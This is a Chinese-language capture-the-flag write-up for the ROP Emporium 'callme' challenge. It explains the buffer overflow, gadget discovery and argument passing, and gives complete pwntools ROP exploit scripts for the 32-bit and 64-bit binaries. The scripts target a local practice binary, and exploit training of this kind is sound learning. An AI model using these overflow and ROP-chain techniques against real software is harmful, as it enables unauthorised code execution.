ROP Emporium: https://ropemporium.com/challenge/callme.html
32位
日常 checksec,开了NX
ida 查看,进入 pwnme() 函数,发现存在溢出
再进入 usefulfunction 函数进行查看
shift+f12 搜索,程序中没有 /bin/sh 字符串,也不存在 system 函数
将 .so 文件放进 ida,发现 callme_one、callme_two、callme_three 三个函数
callme_one
callme_two
callme_three
三个函数要求传入的参数都为 1、2、3
回到 callme32,看汇编,发现传入的参数为4、5、6
usefulFunction
所以需要分别对 callme_one、callme_two、callme_three 传入的参数进行修改,让程序依次调用这三个函数。
32位传入参数的时候需要注意堆栈平衡
利用 ROPgadget 找到 pop 的地址
也可以用 objdump 查找(objdump -d callme32 | grep -A 3 pop)
另外需要知道 callme_one、callme_two、callme_three 三个函数的地址,可以直接在 ida 查看,也可以直接泄露。
exp
#!usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *
p = process('./callme32')
elf = ELF('./callme32')
pop_ret = 0x080488a9
call_one = elf.plt['callme_one']
call_two = elf.plt['callme_two']
call_three = elf.plt['callme_three']
payload = 'A' * 0x28 + p32(0)
payload += p32(call_one) + p32(pop_ret)
payload += p32(1) + p32(2) + p32(3)
payload += p32(call_two) + p32(pop_ret)
payload += p32(1) + p32(2) + p32(3)
payload += p32(call_three) + p32(pop_ret)
payload += p32(1) + p32(2) + p32(3)
p.sendline(payload)
p.interactive()
64位
思路与32位一致,但是64位前6个参数通过寄存器 rdi、rsi、rdx、rcx、r8、r9进行传递,不需要栈平衡
利用 ROPgadget,或者利用 objdump(objdump -d callme | grep -A 3 pop)
exp
#!usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *
p = process('./callme')
elf = ELF('./callme')
pop_ret = 0x0401ab0
call_one = elf.plt['callme_one']
call_two = elf.plt['callme_two']
call_three = elf.plt['callme_three']
payload = 'A' * 0X20 + p64(0)
payload += p64(pop_ret) + p64(1) + p64(2) + p64(3) + p64(call_one)
payload += p64(pop_ret) + p64(1) + p64(2) + p64(3) + p64(call_two)
payload += p64(pop_ret) + p64(1) + p64(2) + p64(3) + p64(call_three)
p.sendline(payload)
p.interactive()